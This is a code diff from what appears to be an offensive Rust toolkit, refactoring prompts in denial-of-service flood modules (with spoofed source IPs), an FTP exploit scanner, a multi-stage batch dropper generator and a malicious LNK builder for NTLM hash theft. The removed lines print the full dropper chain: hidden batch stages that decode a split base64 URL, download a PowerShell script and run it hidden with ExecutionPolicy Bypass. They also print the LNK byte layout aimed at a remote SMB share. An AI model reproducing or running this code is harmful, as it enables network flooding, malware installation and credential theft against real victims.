@@ -118,7 +119,7 @@ async fn setup_wizard(initial_target: &str) -> Result<FloodConfig> {
|
||||
}
|
||||
|
||||
// Worker count (async tasks spawning connections)
|
||||
let workers_input = prompt_default("Worker Tasks (parallel spawners)", "2000")?;
|
||||
let workers_input = cfg_prompt_default("workers", "Worker Tasks (parallel spawners)", "2000")?;
|
||||
let worker_count: usize = workers_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid number for workers"))?;
|
||||
@@ -128,18 +129,18 @@ async fn setup_wizard(initial_target: &str) -> Result<FloodConfig> {
|
||||
}
|
||||
|
||||
// Duration
|
||||
let duration_input = prompt_default("Duration (seconds, 0 = infinite)", "60")?;
|
||||
let duration_input = cfg_prompt_default("duration", "Duration (seconds, 0 = infinite)", "60")?;
|
||||
let duration_secs: u64 = duration_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid duration"))?;
|
||||
|
||||
// Connection timeout
|
||||
let timeout_input = prompt_default("Connection Timeout (ms)", "2000")?;
|
||||
let timeout_input = cfg_prompt_default("timeout_ms", "Connection Timeout (ms)", "2000")?;
|
||||
let connect_timeout_ms: u64 = timeout_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid timeout"))?;
|
||||
|
||||
let verbose = prompt_yes_no("Verbose Output (show sample errors)?", false)?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose Output (show sample errors)?", false)?;
|
||||
|
||||
println!("\n{}", "=== Attack Summary ===".bold());
|
||||
println!(" Target: {}", target_display.cyan());
|
||||
@@ -166,7 +167,7 @@ async fn setup_wizard(initial_target: &str) -> Result<FloodConfig> {
|
||||
" table will be exhausted, not yours.".yellow()
|
||||
);
|
||||
|
||||
if !prompt_yes_no("Start Attack?", true)? {
|
||||
if !cfg_prompt_yes_no("confirm", "Start Attack?", true)? {
|
||||
return Err(anyhow!("Attack cancelled by user"));
|
||||
}
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@ use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no,
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
@@ -422,7 +422,7 @@ fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
|
||||
// Target IP
|
||||
let target_input = if initial_target.trim().is_empty() {
|
||||
prompt_required("Target IP")?
|
||||
cfg_prompt_required("target", "Target IP")?
|
||||
} else {
|
||||
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
|
||||
initial_target.to_string()
|
||||
@@ -433,10 +433,10 @@ fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
.map_err(|_| anyhow!("Target must be a valid IPv4 address"))?;
|
||||
|
||||
// Target Port
|
||||
let target_port = prompt_port("Target port", 80)?;
|
||||
let target_port = cfg_prompt_port("port", "Target port", 80)?;
|
||||
|
||||
// Source Port
|
||||
let src_port_input = prompt_default("Source port (blank for random)", "")?;
|
||||
let src_port_input = cfg_prompt_default("source_port", "Source port (blank for random)", "")?;
|
||||
let source_port = if src_port_input.is_empty() {
|
||||
None
|
||||
} else {
|
||||
@@ -444,7 +444,8 @@ fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
};
|
||||
|
||||
// Random Source IP
|
||||
let use_random_source_ip = prompt_yes_no(
|
||||
let use_random_source_ip = cfg_prompt_yes_no(
|
||||
"spoof_ip",
|
||||
"Use random (spoofed) source IPs? (requires root)",
|
||||
false
|
||||
)?;
|
||||
@@ -458,7 +459,7 @@ fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
"Local source IP (auto-detected: {}) — enter tun/VPN IP to override, or blank to use auto",
|
||||
auto_ip
|
||||
);
|
||||
let override_input = prompt_default(&hint, "")?;
|
||||
let override_input = cfg_prompt_default("local_ip", &hint, "")?;
|
||||
if override_input.is_empty() {
|
||||
None // use auto-detected
|
||||
} else {
|
||||
@@ -473,7 +474,8 @@ fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
|
||||
// Worker count - default to CPU cores for optimal performance
|
||||
let cpu_count = num_cpus::get();
|
||||
let workers_input = prompt_default(
|
||||
let workers_input = cfg_prompt_default(
|
||||
"workers",
|
||||
&format!("Worker threads (recommended: {})", cpu_count),
|
||||
&cpu_count.to_string()
|
||||
)?;
|
||||
@@ -484,7 +486,7 @@ fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
}
|
||||
|
||||
// Duration
|
||||
let duration_input = prompt_required("Test duration (seconds)")?;
|
||||
let duration_input = cfg_prompt_required("duration", "Test duration (seconds)")?;
|
||||
let duration_secs: u64 = duration_input.parse().map_err(|_| anyhow!("Invalid duration"))?;
|
||||
|
||||
if duration_secs == 0 {
|
||||
@@ -492,17 +494,17 @@ fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
}
|
||||
|
||||
// Interval Mode
|
||||
let zero_interval = prompt_yes_no("Use zero interval (max speed)?", true)?;
|
||||
let zero_interval = cfg_prompt_yes_no("zero_interval", "Use zero interval (max speed)?", true)?;
|
||||
let interval_mode = if zero_interval {
|
||||
IntervalMode::Zero
|
||||
} else {
|
||||
let delay_input = prompt_default("Delay between packets (microseconds)", "1000")?;
|
||||
let delay_input = cfg_prompt_default("delay_us", "Delay between packets (microseconds)", "1000")?;
|
||||
let delay: u64 = delay_input.parse().map_err(|_| anyhow!("Invalid delay"))?;
|
||||
IntervalMode::DelayMicros(delay)
|
||||
};
|
||||
|
||||
// Payload Size
|
||||
let payload_input = prompt_default("Null-byte payload size", "1024")?;
|
||||
let payload_input = cfg_prompt_default("payload_size", "Null-byte payload size", "1024")?;
|
||||
let mut payload_size: usize = payload_input.parse().map_err(|_| anyhow!("Invalid size"))?;
|
||||
|
||||
// Cap to IPv4 maximum
|
||||
@@ -512,7 +514,7 @@ fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
payload_size = MAX_PAYLOAD;
|
||||
}
|
||||
|
||||
let verbose = prompt_yes_no("Verbose output?", false)?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false)?;
|
||||
|
||||
// Summary
|
||||
println!("\n{}", "=== Test Configuration ===".bold());
|
||||
@@ -532,7 +534,7 @@ fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
println!("\n{}", "[!] IP spoofing enabled: Each packet will have a different random source IP".yellow().bold());
|
||||
}
|
||||
|
||||
if !prompt_yes_no("\nProceed with test?", true)? {
|
||||
if !cfg_prompt_yes_no("confirm", "\nProceed with test?", true)? {
|
||||
return Err(anyhow!("Test cancelled by user"));
|
||||
}
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@ use std::net::SocketAddr;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::Instant;
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no,
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
|
||||
/// Configuration for the connection flood
|
||||
@@ -45,7 +45,7 @@ async fn setup_wizard(initial_target: &str) -> Result<TcpFloodConfig> {
|
||||
|
||||
// Target
|
||||
let target_input = if initial_target.trim().is_empty() {
|
||||
prompt_required("Target Host/IP")?
|
||||
cfg_prompt_required("target", "Target Host/IP")?
|
||||
} else {
|
||||
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
|
||||
initial_target.to_string()
|
||||
@@ -60,7 +60,7 @@ async fn setup_wizard(initial_target: &str) -> Result<TcpFloodConfig> {
|
||||
.map_err(|_| anyhow!("Invalid port '{}' in target", p))?;
|
||||
(h.to_string(), parsed_port)
|
||||
} else {
|
||||
let p = prompt_port("Target Port", 80)?;
|
||||
let p = cfg_prompt_port("port", "Target Port", 80)?;
|
||||
(normalized, p)
|
||||
};
|
||||
|
||||
@@ -79,7 +79,7 @@ async fn setup_wizard(initial_target: &str) -> Result<TcpFloodConfig> {
|
||||
println!("{}", format!("[+] Resolved to: {:?}", resolved_addrs).green());
|
||||
|
||||
// Concurrency
|
||||
let concurrency_input = prompt_default("Concurrent Connections", "500")?;
|
||||
let concurrency_input = cfg_prompt_default("concurrency", "Concurrent Connections", "500")?;
|
||||
let concurrent_connections: usize = concurrency_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid number for concurrency"))?;
|
||||
|
||||
@@ -88,14 +88,14 @@ async fn setup_wizard(initial_target: &str) -> Result<TcpFloodConfig> {
|
||||
}
|
||||
|
||||
// Timeout
|
||||
let timeout_input = prompt_default("Connection Timeout (ms)", "1000")?;
|
||||
let timeout_input = cfg_prompt_default("timeout_ms", "Connection Timeout (ms)", "1000")?;
|
||||
let timeout_ms: u64 = timeout_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid timeout"))?;
|
||||
|
||||
let verbose = prompt_yes_no("Verbose Output (show errors)?", false)?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose Output (show errors)?", false)?;
|
||||
|
||||
// Duration
|
||||
let duration_input = prompt_default("Duration (seconds, 0 = infinite)", "60")?;
|
||||
let duration_input = cfg_prompt_default("duration", "Duration (seconds, 0 = infinite)", "60")?;
|
||||
let duration_secs: u64 = duration_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid duration"))?;
|
||||
|
||||
@@ -110,7 +110,7 @@ async fn setup_wizard(initial_target: &str) -> Result<TcpFloodConfig> {
|
||||
});
|
||||
println!(" Mode: Connect & Drop (Handshake Stress)");
|
||||
|
||||
if !prompt_yes_no("Start Attack?", true)? {
|
||||
if !cfg_prompt_yes_no("confirm", "Start Attack?", true)? {
|
||||
return Err(anyhow!("Attack cancelled by user"));
|
||||
}
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ use tokio::time::timeout;
|
||||
use regex::Regex;
|
||||
|
||||
use crate::utils::{
|
||||
prompt_existing_file, prompt_default, prompt_int_range,
|
||||
cfg_prompt_existing_file, cfg_prompt_default, cfg_prompt_int_range,
|
||||
load_lines
|
||||
};
|
||||
|
||||
@@ -39,12 +39,12 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[1] Load targets from file (supporting 'IP:PORT:USER:PASS')");
|
||||
println!("[2] Scan single target");
|
||||
|
||||
let choice = prompt_int_range("Select mode", 1, 1, 2)?;
|
||||
let choice = cfg_prompt_int_range("mode", "Select mode", 2, 1, 2)?;
|
||||
if choice == 1 {
|
||||
let f = prompt_existing_file("Path to credentials file")?;
|
||||
let f = cfg_prompt_existing_file("credentials_file", "Path to credentials file")?;
|
||||
f
|
||||
} else {
|
||||
let t = prompt_default("Target (IP:PORT or IP:PORT:USER:PASS)", "")?;
|
||||
let t = cfg_prompt_default("target_input", "Target (IP:PORT or IP:PORT:USER:PASS)", "")?;
|
||||
t
|
||||
}
|
||||
} else {
|
||||
@@ -65,8 +65,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} credential/target sets.", targets.len()).green());
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent checks", 50, 1, 500)? as usize;
|
||||
let output_file = prompt_default("Output file for vulnerabilities", "ftp_bounce_results.txt")?;
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent checks", 50, 1, 500)? as usize;
|
||||
let output_file = cfg_prompt_default("output_file", "Output file for vulnerabilities", "ftp_bounce_results.txt")?;
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use anyhow::{anyhow, Result};
|
||||
use suppaftp::FtpStream;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
@@ -6,15 +6,15 @@ use std::path::Path;
|
||||
use tokio::task;
|
||||
use tokio::sync::Semaphore;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use colored::*; // // Colorful output
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
use tokio::time::timeout;
|
||||
use crate::utils::{cfg_prompt_port, cfg_prompt_yes_no, cfg_prompt_existing_file};
|
||||
|
||||
const MAX_CONCURRENT_TASKS: usize = 10;
|
||||
const FTP_TIMEOUT_SECONDS: u64 = 10;
|
||||
|
||||
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
|
||||
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
|
||||
|
||||
// // Format IPv4 or IPv6 address with port (handles multiple layers of brackets)
|
||||
/// Format IPv4 or IPv6 address with port (handles multiple layers of brackets)
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
let mut clean = target.trim().to_string();
|
||||
|
||||
@@ -29,13 +29,12 @@ fn format_addr(target: &str, port: u16) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
// // Actual FTP path traversal exploit
|
||||
/// Actual FTP path traversal exploit
|
||||
fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
let addr = format_addr(&target, port);
|
||||
|
||||
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
|
||||
|
||||
// Connect to FTP server
|
||||
let mut ftp = FtpStream::connect(&addr)
|
||||
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
|
||||
|
||||
@@ -65,7 +64,7 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
Ok(format!("{} SUCCESS", target))
|
||||
}
|
||||
|
||||
// // Save result line into `results.txt`
|
||||
/// Save result line into `results.txt`
|
||||
fn save_result(line: &str) -> Result<()> {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
@@ -76,44 +75,20 @@ fn save_result(line: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// // Public auto-dispatch entry point
|
||||
/// Public auto-dispatch entry point
|
||||
///
|
||||
/// API prompts:
|
||||
/// - "port" : FTP port (default: 21)
|
||||
/// - "use_list" : y/n — use IP list file (default: n)
|
||||
/// - "ip_list_file" : path to IP list file (required if use_list=y)
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let target = target.to_string(); // // Own target early to avoid lifetime issues
|
||||
let target = target.to_string();
|
||||
|
||||
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut port_input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut port_input)
|
||||
.context("Failed to read port")?;
|
||||
let port_input = port_input.trim();
|
||||
let port = if port_input.is_empty() {
|
||||
21
|
||||
} else {
|
||||
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number: {}", port_input))?
|
||||
};
|
||||
let port = cfg_prompt_port("port", "FTP Port", 21)?;
|
||||
let use_list = cfg_prompt_yes_no("use_list", "Use a list of IPs?", false)?;
|
||||
|
||||
print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut use_list = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut use_list)
|
||||
.context("Failed to read list choice")?;
|
||||
let use_list = use_list.trim().to_lowercase();
|
||||
|
||||
if use_list == "yes" || use_list == "y" {
|
||||
print!("{}", "Enter path to the IP list file: ".cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut path = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut path)
|
||||
.context("Failed to read file path")?;
|
||||
if use_list {
|
||||
let path = cfg_prompt_existing_file("ip_list_file", "Path to the IP list file")?;
|
||||
let path = path.trim();
|
||||
|
||||
if !Path::new(path).exists() {
|
||||
|
||||
@@ -1,145 +1,23 @@
|
||||
use anyhow::{Result, Context};
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use crate::utils::{validate_file_path, validate_url};
|
||||
use rand::{seq::SliceRandom, rng};
|
||||
use std::{
|
||||
fs,
|
||||
path::Path,
|
||||
io::Write,
|
||||
};
|
||||
|
||||
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
|
||||
|
||||
|
||||
async fn prompt(prompt: &str) -> Result<String> {
|
||||
print!("{}", prompt.cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buffer = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut buffer)
|
||||
.context("Failed to read input")?;
|
||||
Ok(buffer.trim().to_string())
|
||||
}
|
||||
|
||||
fn base64_split_encode(url: &str) -> (String, String) {
|
||||
let mid = url.len() / 2;
|
||||
let (first, second) = url.split_at(mid);
|
||||
let first_encoded = BASE64_STANDARD.encode(first);
|
||||
let second_encoded = BASE64_STANDARD.encode(second);
|
||||
(first_encoded, second_encoded)
|
||||
}
|
||||
|
||||
fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
|
||||
let mut symbols = vec![
|
||||
"测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
|
||||
"✂", "✈", "☎", "☂", "☯", "✉", "✏", "✒", "✇", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
|
||||
];
|
||||
let mut rng = rng();
|
||||
symbols.shuffle(&mut rng);
|
||||
|
||||
let s2 = symbols[0].to_string();
|
||||
let s3 = symbols[1].to_string();
|
||||
let s4 = symbols[2].to_string();
|
||||
|
||||
let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
|
||||
let stage1 = Path::new(stage1_path);
|
||||
let _stage2 = base.join(format!("{s2}.bat"));
|
||||
let _stage3 = base.join(format!("{s3}.bat"));
|
||||
let _stage4 = base.join(format!("{s4}.bat"));
|
||||
|
||||
// Encode URL
|
||||
let (part1_b64, part2_b64) = base64_split_encode(url);
|
||||
|
||||
// === Stage 1: writes stage2.bat ===
|
||||
let stage1_contents = format!(
|
||||
r#"@echo off
|
||||
setlocal EnableDelayedExpansion
|
||||
cls >nul
|
||||
:: Sleep random 1-4 seconds
|
||||
set /a RND=1+%RANDOM%%%4
|
||||
timeout /t %RND% /nobreak >nul
|
||||
|
||||
:: Five explicit 1-second sleeps at stage 1
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
|
||||
echo Creating next stage...
|
||||
(
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
|
||||
:: Five explicit 1-second sleeps for stage 2
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
|
||||
echo echo Creating next stage...
|
||||
echo (
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
|
||||
:: Five explicit 1-second sleeps for stage 3
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
|
||||
echo echo Creating final stage...
|
||||
echo (
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
echo set part1={part1_b64}
|
||||
echo set part2={part2_b64}
|
||||
echo powershell -WindowStyle Hidden -Command ^^"
|
||||
echo $p1 = $env:part1;
|
||||
echo $p2 = $env:part2;
|
||||
echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
|
||||
echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
|
||||
echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
|
||||
echo ^^"
|
||||
echo exit
|
||||
echo ) > "{s4}"
|
||||
echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4
|
||||
echo start "" /B "{s4}" :: Launch stage 4 in background
|
||||
echo exit
|
||||
echo ) > "{s3}"
|
||||
echo start "" /B "{s3}" :: Launch stage 3 in background
|
||||
echo exit
|
||||
) > "{s2}"
|
||||
|
||||
start "" /B "{s2}" :: Launch stage 2 in background
|
||||
exit
|
||||
"#);
|
||||
|
||||
fs::write(stage1, stage1_contents)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
use crate::utils::{cfg_prompt_required, cfg_prompt_default, validate_file_path, validate_url};
|
||||
use crate::native::payload_engine;
|
||||
|
||||
/// BAT chain payload generator — creates multi-stage .bat dropper chains.
|
||||
///
|
||||
/// Core payload logic provided by `native::payload_engine::write_bat_payload_chain()`.
|
||||
///
|
||||
/// API prompt keys:
|
||||
/// - `output_file` : Output BAT filename (stage 1)
|
||||
/// - `payload_url` : GitHub raw URL of PowerShell script
|
||||
/// - `ps1_filename` : Name to save .ps1 as on victim
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Target context: {}", if target.is_empty() { "local" } else { target }).dimmed());
|
||||
let stage1_name = prompt("[+] Output BAT filename (stage 1): ").await?;
|
||||
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ").await?;
|
||||
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ").await?;
|
||||
|
||||
// Validate inputs
|
||||
let stage1_name = cfg_prompt_required("output_file", "Output BAT filename (stage 1)")?;
|
||||
let github_url = cfg_prompt_required("payload_url", "GitHub raw URL of PowerShell script")?;
|
||||
let ps1_output = cfg_prompt_default("ps1_filename", "Name to save .ps1 as on victim", "payload.ps1")?;
|
||||
|
||||
let validated_stage1 = validate_file_path(&stage1_name, true)
|
||||
.map_err(|e| anyhow::anyhow!("Invalid BAT filename: {}", e))?;
|
||||
let validated_url = validate_url(&github_url, Some(&["http", "https"]))
|
||||
@@ -147,8 +25,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let validated_ps1 = validate_file_path(&ps1_output, false)
|
||||
.map_err(|e| anyhow::anyhow!("Invalid .ps1 filename: {}", e))?;
|
||||
|
||||
write_payload_chain(&validated_stage1, &validated_url, &validated_ps1)?;
|
||||
println!("[+] Stage 1 payload written to {stage1_name}");
|
||||
payload_engine::write_bat_payload_chain(&validated_stage1, &validated_url, &validated_ps1)?;
|
||||
|
||||
println!("[+] Stage 1 payload written to {}", stage1_name);
|
||||
println!("[*] Chain will execute real .bat files one after the other with random jitter.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,21 +1,19 @@
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use crate::utils::validate_file_path;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
path::Path,
|
||||
};
|
||||
|
||||
use crate::utils::{cfg_prompt_required, validate_file_path};
|
||||
use crate::native::payload_engine;
|
||||
use std::path::Path;
|
||||
|
||||
/// Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure (CVE-2025-50154, CVE-2025-59214)
|
||||
///
|
||||
/// Creates malicious LNK files that trigger SMB NTLM hash disclosure without user interaction.
|
||||
/// This bypasses the original CVE-2025-50154 patch by using local icons with remote targets.
|
||||
/// Core LNK generation provided by `native::payload_engine::create_malicious_lnk()`.
|
||||
///
|
||||
/// References:
|
||||
/// - https://www.cymulate.com/research-blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/
|
||||
/// - https://www.cymulate.com/research-blog/patched-twice-still-bypassed-new-ntlm-leak-cve-2025-50154-patch-bypass/
|
||||
/// API prompt keys:
|
||||
/// - `output_path` : Local path to save LNK file
|
||||
/// - `smb_ip` : SMB server IP address or hostname
|
||||
/// - `smb_share` : SMB share name
|
||||
/// - `smb_file` : Remote binary filename (e.g., payload.exe)
|
||||
|
||||
const BANNER: &str = r#"
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
@@ -30,111 +28,6 @@ const BANNER: &str = r#"
|
||||
╚══════════════════════CVE-2025-50154 CVE-2025-59214════════════════════════════╝
|
||||
"#;
|
||||
|
||||
async fn prompt(prompt: &str) -> Result<String> {
|
||||
print!("{}", prompt.cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buffer = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut buffer)
|
||||
.context("Failed to read input")?;
|
||||
Ok(buffer.trim().to_string())
|
||||
}
|
||||
|
||||
/// Create a malicious LNK file that triggers NTLM hash disclosure
|
||||
/// Uses local icon (shell32.dll) but remote target to bypass CVE-2025-50154 patch
|
||||
///
|
||||
/// This implementation creates a proper LNK file structure that Windows Explorer
|
||||
/// will recognize and attempt to render the icon from the remote SMB path.
|
||||
fn create_malicious_lnk(output_path: &Path, smb_ip: &str, smb_share: &str, smb_file: &str) -> Result<()> {
|
||||
// Build the target path: \\IP\SHARE\FILE
|
||||
let target_path = format!("\\\\{}\\{}", smb_ip, smb_share);
|
||||
let target_file = format!("{}\\{}", target_path, smb_file);
|
||||
|
||||
// Use local shell32.dll icon (this is the key to bypass the patch)
|
||||
let icon_location = "%SystemRoot%\\System32\\SHELL32.dll";
|
||||
|
||||
// For cross-platform compatibility, we'll try to use the Windows API if available
|
||||
// Otherwise, create a minimal LNK structure that should work
|
||||
|
||||
// We use manual LNK creation ensures we generate the exact structure needed
|
||||
// for this exploit (local icon + remote target) regardless of the host OS.
|
||||
// Using Windows APIs (IShellLink) might attempt to resolve the target path,
|
||||
// which we specifically want to avoid until the victim clicks it.
|
||||
create_lnk_manual(output_path, &target_file, &icon_location)
|
||||
}
|
||||
|
||||
/// Manual LNK file creation with proper structure
|
||||
fn create_lnk_manual(output_path: &Path, target_path: &str, icon_location: &str) -> Result<()> {
|
||||
let mut lnk_data = Vec::new();
|
||||
|
||||
// LNK Header (76 bytes)
|
||||
// HeaderSize: 0x0000004C (76 bytes)
|
||||
lnk_data.extend_from_slice(&0x4C_u32.to_le_bytes());
|
||||
|
||||
// LinkCLSID: 00021401-0000-0000-C000-000000000046
|
||||
lnk_data.extend_from_slice(&[
|
||||
0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46
|
||||
]);
|
||||
|
||||
// LinkFlags: HasTargetIDList | HasLinkInfo | HasName | HasRelativePath |
|
||||
// HasWorkingDir | HasIconLocation | IsUnicode | HasExpString |
|
||||
// RunInSeparateProcess | HasIconLocation
|
||||
let link_flags = 0x0000009B_u32; // Basic flags for our use case
|
||||
lnk_data.extend_from_slice(&link_flags.to_le_bytes());
|
||||
|
||||
// FileAttributes: FILE_ATTRIBUTE_NORMAL
|
||||
lnk_data.extend_from_slice(&0x00000020_u32.to_le_bytes());
|
||||
|
||||
// CreationTime, AccessTime, WriteTime (24 bytes of zeros)
|
||||
lnk_data.extend_from_slice(&[0u8; 24]);
|
||||
|
||||
// FileSize (4 bytes) - 0 for network paths
|
||||
lnk_data.extend_from_slice(&0u32.to_le_bytes());
|
||||
|
||||
// IconIndex (4 bytes)
|
||||
lnk_data.extend_from_slice(&0u32.to_le_bytes());
|
||||
|
||||
// ShowCommand: SW_SHOWNORMAL
|
||||
lnk_data.extend_from_slice(&0x00000001_u32.to_le_bytes());
|
||||
|
||||
// HotKey (2 bytes)
|
||||
lnk_data.extend_from_slice(&[0u8; 2]);
|
||||
|
||||
// Reserved (10 bytes)
|
||||
lnk_data.extend_from_slice(&[0u8; 10]);
|
||||
|
||||
// Add minimal LinkTargetIDList (empty for simplicity)
|
||||
// IDListSize: 0x0002 (empty list)
|
||||
lnk_data.extend_from_slice(&0x02_u16.to_le_bytes());
|
||||
|
||||
// Add StringData section
|
||||
// TARGET_PATH
|
||||
let target_path_utf16: Vec<u16> = target_path.encode_utf16().collect();
|
||||
lnk_data.extend_from_slice(&((target_path_utf16.len() * 2) as u16).to_le_bytes());
|
||||
for &c in &target_path_utf16 {
|
||||
lnk_data.extend_from_slice(&c.to_le_bytes());
|
||||
}
|
||||
|
||||
// ICON_LOCATION
|
||||
let icon_utf16: Vec<u16> = icon_location.encode_utf16().collect();
|
||||
lnk_data.extend_from_slice(&((icon_utf16.len() * 2) as u16).to_le_bytes());
|
||||
for &c in &icon_utf16 {
|
||||
lnk_data.extend_from_slice(&c.to_le_bytes());
|
||||
}
|
||||
|
||||
// Write the LNK file
|
||||
let mut file = File::create(output_path)
|
||||
.with_context(|| format!("Failed to create LNK file at {}", output_path.display()))?;
|
||||
|
||||
file.write_all(&lnk_data)
|
||||
.with_context(|| format!("Failed to write LNK data to {}", output_path.display()))?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
